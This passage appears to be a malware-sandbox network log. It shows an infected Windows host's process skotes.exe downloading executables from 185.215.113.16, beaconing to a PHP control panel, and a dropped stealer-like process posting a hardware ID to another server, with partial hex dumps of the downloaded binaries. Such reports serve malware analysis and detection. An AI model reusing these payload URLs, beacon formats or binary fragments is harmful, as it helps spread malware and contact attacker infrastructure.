5	192.168.2.4	49849	185.215.113.16	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:13.895600080 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 04:16:14.979397058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:14 GMT Content-Type: application/octet-stream Content-Length: 2085888 Last-Modified: Thu, 31 Oct 2024 03:03:25 GMT Connection: keep-alive ETag: "6722f37d-1fd400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 30 71 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 71 00 00 04 00 00 b8 9b 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,0q@`q @P.d. p.v@.rsrc .@.idata .@ P).@usisoqoi0W$@igxiqctn q@.taggant00q"@
Oct 31, 2024 04:16:14.979432106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:14.979446888 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:14.979492903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:14.979506969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:14.979517937 CET	1236	IN	Data Raw: fe 65 4c b5 b1 67 de a8 bd 72 c5 48 c6 a3 a2 a6 69 c6 97 2a 52 97 4a e1 61 4a 93 51 27 f4 65 cb d9 27 ed 8c 8b ea 95 a4 1c 9f e1 93 06 86 07 b8 1d 60 aa 81 94 12 f3 a0 6d c4 93 79 0b a1 9e e4 15 05 da 99 11 05 da 99 6d 05 da 99 69 05 da 99 65 05 Data Ascii: eLgrHiRJaJQ'e'`mymiea}yu?tgKrM~"F>f/f^wY.}L &_B+fB:fC(?+m>yQXyCl6\[OTyzkZC2_XmHl&kAOZQ&~XKTD<c!
Oct 31, 2024 04:16:14.979527950 CET	336	IN	Data Raw: 16 7d 4e 77 39 7b 29 a8 59 b4 f0 11 e5 91 95 63 f9 02 61 78 1a ad dd 3e f7 32 27 04 ba 04 4e 03 d2 ce 85 68 93 06 40 2f 4b a5 86 8a 16 fa 06 73 e3 d6 e6 92 c2 df 97 ec 53 7e 81 f8 3b f0 52 02 5f c4 4b 93 32 83 db 9d 54 87 09 d0 ba 2b 96 7c a8 6a Data Ascii: }Nw9{)Ycax>2'Nh@/KsS~;R_K2T+\|j3WIuF{c_&k tOoJ%z#B[AcEMfSB4o_EX8#>2VKKK{^\Oe#xgy)A3II<<;@
Oct 31, 2024 04:16:14.979542017 CET	1236	IN	Data Raw: 19 d7 37 2f 48 d9 65 05 5a a4 96 91 1b 85 4f f4 1d ef 1e 76 65 dc 7a cf d9 dd 83 44 a9 04 b6 6d 51 b2 74 16 7c c3 46 36 8a e2 e4 92 65 e6 4d 80 cc c7 f9 8d e6 46 31 51 bb f7 42 7d 4b 9d a0 cd 76 26 d6 f0 3f 6e d9 4c a9 7b 97 cc c1 15 58 f2 06 b5 Data Ascii: 7/HeZOvezDmQt\|F6eMF1QB}Kv&?nL{XS.pIuUA4H,EcDPnM<gC~[KtRR+GNZmE#Z4N?YY_6EV^~BDVCRpfOX
Oct 31, 2024 04:16:14.979562044 CET	212	IN	Data Raw: b2 a6 ac 19 66 7e 4e 14 c6 c1 d3 91 e1 1d 0e 30 06 6a 64 4b b2 3a 7a 51 83 be 59 90 99 7e a4 cd c5 24 0e c0 c9 8f 2b 82 02 ef 23 4e c9 de 3f e9 ab 82 6f af bd e5 ff f9 5d de d7 95 c5 91 25 cc 7f 8f 6f f8 b9 02 67 f6 55 ef 6d 44 4e d6 87 e9 01 02 Data Ascii: f~N0jdK:zQY~$+#N?o]%ogUmDN^^X\|%.uuAol~ZrR>[9~}wxRq$wiFIeSVNVaHTc
Oct 31, 2024 04:16:14.979571104 CET	1236	IN	Data Raw: a0 e1 5f a8 d9 6f 59 2c be 36 0a e5 bd 67 59 ac 45 66 c8 cb 7e 77 d5 1d 12 8f 66 4c 5a 01 09 8c 07 92 2a a2 52 7e 51 46 ae b3 a5 52 69 66 51 08 42 d3 c9 56 39 a4 cc d1 52 96 27 78 8e 99 f4 43 06 b6 c8 ea 45 dd d6 8c ef d2 a8 1e ee 17 6f 98 a9 8f Data Ascii: _oY,6gYEf~wfLZ*R~QFRifQBV9R'xCEoZSfVW~QQ(&w=^ [iZrY'\|^EN>neS@UfyX<dzrWd,B>V>y[F_0SR3jyP}-C$/^
Oct 31, 2024 04:16:14.984446049 CET	1236	IN	Data Raw: d7 82 7c a6 45 77 51 30 5e bf b6 e9 74 96 85 e9 a9 97 d0 95 21 c2 ad 9c 2b 45 42 e9 1d e4 b9 89 29 ff 66 e5 87 02 59 7c ab 23 79 28 60 f4 c7 61 c6 8f d7 83 01 ef 5b be 31 de e7 ea 0b 5e 67 b3 d4 5a a4 76 3d 02 59 08 a8 8c 7e 94 b7 7c 6e 20 53 c4 Data Ascii: \|EwQ0^t!+EB)fY\|#y(`a[1^gZv=Y~\|n SJ~@iVd(Y\|O>x Z3vy4:YhSR@R.ru[WSBDQlBy`xwpE'4lxB+wtWD"8oS!B4q4Q4Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49884	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:19.929894924 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002777001&unit=246122658369
Oct 31, 2024 04:16:21.017693043 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49890	185.215.113.206	80	2032	C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:20.527553082 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 04:16:21.443391085 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 04:16:21.445847988 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGD Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 44 41 32 30 31 36 45 44 41 31 31 37 32 30 30 30 39 33 36 39 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="hwid"90DA2016EDA11720009369------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="build"tale------CGHDAKKJJJKJKECBGCGD--
Oct 31, 2024 04:16:21.733135939 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 03:16:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49891	185.215.113.16	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:21.027930021 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 04:16:21.963938951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:21 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Thu, 31 Oct 2024 02:58:24 GMT Connection: keep-alive ETag: "6722f250-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 48 f2 22 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELH"g"Xw@`@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 31, 2024 04:16:21.963959932 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Oct 31, 2024 04:16:21.964066029 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Oct 31, 2024 04:16:21.964082956 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Oct 31, 2024 04:16:21.964098930 CET	1236	IN	Data Raw: eb f3 56 8b f1 8d 4e 20 e8 b2 b5 00 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f Data Ascii: VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuO
Oct 31, 2024 04:16:21.964221954 CET	1236	IN	Data Raw: 01 00 00 74 1d 80 be 6d 01 00 00 00 8b 8e 68 01 00 00 75 1a 8b 49 04 8b 45 08 41 89 08 5e c9 c2 04 00 e8 6a 09 00 00 eb f4 8b 40 30 eb a8 8b 49 30 eb e1 e8 cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 Data Ascii: tmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3
Oct 31, 2024 04:16:21.964237928 CET	1236	IN	Data Raw: 85 37 ff ff ff 83 39 12 0f 8c 5e 06 04 00 83 39 13 0f 8e fa 02 00 00 83 39 18 0f 8e 4c 06 04 00 83 39 1e 0f 8e 13 ff ff ff 83 39 21 0f 8e 3a 06 04 00 83 39 23 0f 8e fb fe ff ff e9 2c 06 04 00 83 f8 20 0f 8f ff 00 00 00 0f 84 1e 01 00 00 83 e8 14 Data Ascii: 79^99L99!:9#, rU]]EC}Pl]GpEUAjYf9HEHOlEuE{le
Oct 31, 2024 04:16:21.964253902 CET	1236	IN	Data Raw: 75 37 8b 7e 04 8b 47 30 89 45 fc 85 ff 74 1d 8d 4f 20 e8 2c a7 00 00 8d 4f 10 e8 24 a7 00 00 6a 38 57 e8 49 d5 01 00 8b 45 fc 59 59 89 46 04 88 5e 09 ff 0e 5f 5e 5b c9 c3 b3 01 eb f2 55 8b ec 57 8b f9 80 7f 09 00 0f 85 0a 02 04 00 56 6a 38 e8 29 Data Ascii: u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWOFGFGFGFaPF O aP_^]33@QAQA,Q Q(UE}}u4
Oct 31, 2024 04:16:21.964270115 CET	1236	IN	Data Raw: ff 15 30 c7 49 00 68 d4 ca 49 00 66 a3 94 13 4d 00 ff 15 20 c7 49 00 a3 08 19 4d 00 8d 45 f4 50 c7 45 f4 08 00 00 00 c7 45 f8 3b 01 00 00 ff 15 ac c0 49 00 6a 01 6a 01 6a 21 6a 10 6a 10 ff 15 b0 c0 49 00 68 a9 00 00 00 ff 35 04 19 4d 00 a3 5c 19 Data Ascii: 0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVWhP1IP}=_^UX`dMVuWG~"uQVq
Oct 31, 2024 04:16:21.964286089 CET	1236	IN	Data Raw: 15 18 c7 49 00 b9 90 19 4d 00 e8 de fe ff ff e8 37 0a 00 00 33 c0 eb c1 6a 00 68 ee 02 00 00 6a 01 56 ff 15 24 c7 49 00 68 d4 ca 49 00 ff 15 20 c7 49 00 83 3d 90 19 4d 00 00 a3 28 25 4d 00 75 d3 ff 15 1c c7 49 00 a3 90 19 4d 00 eb c6 ff 75 0c 51 Data Ascii: IM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jPE3Mj[jZ-j@^jw_^[UQSVWjYwxvU
Oct 31, 2024 04:16:21.970807076 CET	1236	IN	Data Raw: 4d 00 be 34 1a 4d 00 a3 fc 19 4d 00 a1 b0 19 4d 00 a3 00 1a 4d 00 a1 b4 19 4d 00 a3 04 1a 4d 00 a1 b8 19 4d 00 a3 08 1a 4d 00 6a 0f 5f ff 00 a1 bc 19 4d 00 a3 0c 1a 4d 00 a1 c0 19 4d 00 a3 10 1a 4d 00 a1 c4 19 4d 00 a3 14 1a 4d 00 a1 c8 19 4d 00 Data Ascii: M4MMMMMMMMj_MMMMMMMMM M$M0Mrud#MM_^f$M(M,M0M4M8M<M@M`#M[UVujP@#P[^]U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49916	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:25.289588928 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002778001&unit=246122658369
Oct 31, 2024 04:16:26.410958052 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49924	185.215.113.16	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:26.417555094 CET	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 04:16:27.336518049 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:27 GMT Content-Type: application/octet-stream Content-Length: 888832 Last-Modified: Sun, 27 Oct 2024 06:45:44 GMT Connection: keep-alive ETag: "671de198-d9000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,l@.@XP.$.text .rdata@@.data+@.reloc>K.LD@B
Oct 31, 2024 04:16:27.336540937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ba c2 41 00 b1 d1 41 00 1a d2 41 00 00 00 00 Data Ascii: AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj0rmE
Oct 31, 2024 04:16:27.336556911 CET	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 fb 95 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 0e 3f 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 2d 96 01 00 8d 8d f8 fb ff ff e8 f2 98 01 00 50 Data Ascii: QREPQ?-PqmPEjjRAM]UQMM\|MHM<M0M]
Oct 31, 2024 04:16:27.336569071 CET	336	IN	Data Raw: 35 8d 4d f4 e8 96 91 01 00 8d 4d e8 e8 8e 91 01 00 8d 4d 08 e8 86 91 01 00 8d 4d 18 e8 7e 91 01 00 8d 4d 24 e8 76 91 01 00 8d 4d 34 e8 ae fb ff ff e9 11 05 00 00 68 8c 53 42 00 8d 8d cc fe ff ff 51 ff 15 a4 72 6d 00 85 c0 74 16 68 34 54 42 00 8d Data Ascii: 5MMMM~M$vM4hSBQrmth4TBRrmu}h"Bh}0E$PlQh,VBxRPQhUBREPQhTBREPQi[
Oct 31, 2024 04:16:27.336579084 CET	1236	IN	Data Raw: ff ff e8 48 90 01 00 8d 8d b4 fd ff ff e8 3d 90 01 00 e9 a6 00 00 00 8d 95 cc fe ff ff 52 8d 85 30 fd ff ff 50 68 7c 57 42 00 8d 8d 3c fd ff ff 51 8d 55 08 52 8d 85 48 fd ff ff 50 68 d4 56 42 00 8d 8d 54 fd ff ff 51 8d 55 e8 52 8d 85 60 fd ff ff Data Ascii: H=R0Ph\|WB<QURHPhVBTQUR`PPi0<HT`R!sh#BhXB
Oct 31, 2024 04:16:27.336591005 CET	1236	IN	Data Raw: 08 e8 b5 f5 ff ff 8b e5 5d c3 cc 55 8b ec 8b 45 08 a3 98 73 6d 00 8b 0d 98 73 6d 00 c7 01 01 00 00 00 8b 55 0c c1 ea 0c a1 98 73 6d 00 89 50 04 8b 0d 98 73 6d 00 c7 41 08 00 00 00 00 8b 15 98 73 6d 00 c7 42 0c 00 00 00 00 c7 05 9c 73 6d 00 00 00 Data Ascii: ]UEsmsmUsmPsmAsmBsm]U}t#E8tMQ;U\|EEHME]UE3tUUE]UEEMQ+UUUEEM
Oct 31, 2024 04:16:27.336602926 CET	1236	IN	Data Raw: 1e 42 00 68 84 1e 42 00 e8 9a 21 00 00 83 c4 0c a3 0c 70 6d 00 6a 08 68 98 1e 42 00 68 a4 1e 42 00 e8 81 21 00 00 83 c4 0c a3 b0 6a 6d 00 6a 0e 68 b0 1e 42 00 68 c0 1e 42 00 e8 68 21 00 00 83 c4 0c a3 98 6f 6d 00 6a 11 68 d0 1e 42 00 68 e4 1e 42 Data Ascii: BhB!pmjhBhB!jmjhBhBh!omjhBhBO!$lmjhBhB6!nmjhBhB!4pmjh(Bh@B!jmjhXBhhB ,kmjhxBhB lmjhBhB P
Oct 31, 2024 04:16:27.336615086 CET	1236	IN	Data Raw: 00 e8 cd 1c 00 00 83 c4 0c a3 10 6c 6d 00 6a 0b 68 40 23 42 00 68 4c 23 42 00 e8 b4 1c 00 00 83 c4 0c a3 24 6d 6d 00 6a 16 68 58 23 42 00 68 70 23 42 00 e8 9b 1c 00 00 83 c4 0c a3 08 70 6d 00 6a 14 68 88 23 42 00 68 a0 23 42 00 e8 82 1c 00 00 83 Data Ascii: lmjh@#BhL#B$mmjhX#Bhp#Bpmjh#Bh#Blmjh#Bh#Bimmjh#Bh$BP8omjh$Bh($B7kmjh8$BhH$BmmjhX$Bht$Bnmjh$Bh$Bnmjh
Oct 31, 2024 04:16:27.336627960 CET	848	IN	Data Raw: 6c 6d 00 6a 0e 68 c0 29 42 00 68 d0 29 42 00 e8 eb 17 00 00 83 c4 0c a3 9c 6b 6d 00 6a 0f 68 e0 29 42 00 68 f0 29 42 00 e8 d2 17 00 00 83 c4 0c a3 3c 6e 6d 00 6a 15 68 00 2a 42 00 68 18 2a 42 00 e8 b9 17 00 00 83 c4 0c a3 2c 70 6d 00 6a 10 68 30 Data Ascii: lmjh)Bh)Bkmjh)Bh)B<nmjhBhB,pmjh0BhDBDmmjhXBhdB$pmjhpBhBnmmjhBhBUkmjhBhB<lmjh*Bh+B#omjh+Bh$+B
Oct 31, 2024 04:16:27.336802959 CET	1236	IN	Data Raw: a3 38 6d 6d 00 6a 10 68 a8 2e 42 00 68 bc 2e 42 00 e8 99 14 00 00 83 c4 0c a3 58 6c 6d 00 6a 10 68 d0 2e 42 00 68 e4 2e 42 00 e8 80 14 00 00 83 c4 0c a3 44 6c 6d 00 6a 13 68 f8 2e 42 00 68 0c 2f 42 00 e8 67 14 00 00 83 c4 0c a3 3c 6c 6d 00 6a 0d Data Ascii: 8mmjh.Bh.BXlmjh.Bh.BDlmjh.Bh/Bg<lmjh /Bh0/BNnmjh@/BhT/B5nmjhh/Bh\|/Blnmjh/Bh/Bnmjh/Bh/Bomjh/Bh/Bkmjh/Bh0B
Oct 31, 2024 04:16:27.341456890 CET	1236	IN	Data Raw: 00 68 c4 35 42 00 e8 d0 0f 00 00 83 c4 0c a3 b8 6e 6d 00 6a 20 68 d0 35 42 00 68 f4 35 42 00 e8 b7 0f 00 00 83 c4 0c a3 94 6f 6d 00 6a 07 68 18 36 42 00 68 20 36 42 00 e8 9e 0f 00 00 83 c4 0c a3 e0 6d 6d 00 6a 1f 68 28 36 42 00 68 48 36 42 00 e8 Data Ascii: h5Bnmj h5Bh5Bomjh6Bh 6Bmmjh(6BhH6Bmmjhh6Bhl6Blmmj_hp6Bh6BSkmjh07Bh87B:llmjh@7BhH7B!lmjhP7BhX7Blmjh`7Bhh7Blm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49930	185.215.113.16	80	7516	C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Timestamp	Bytes transferred	Direction	Data
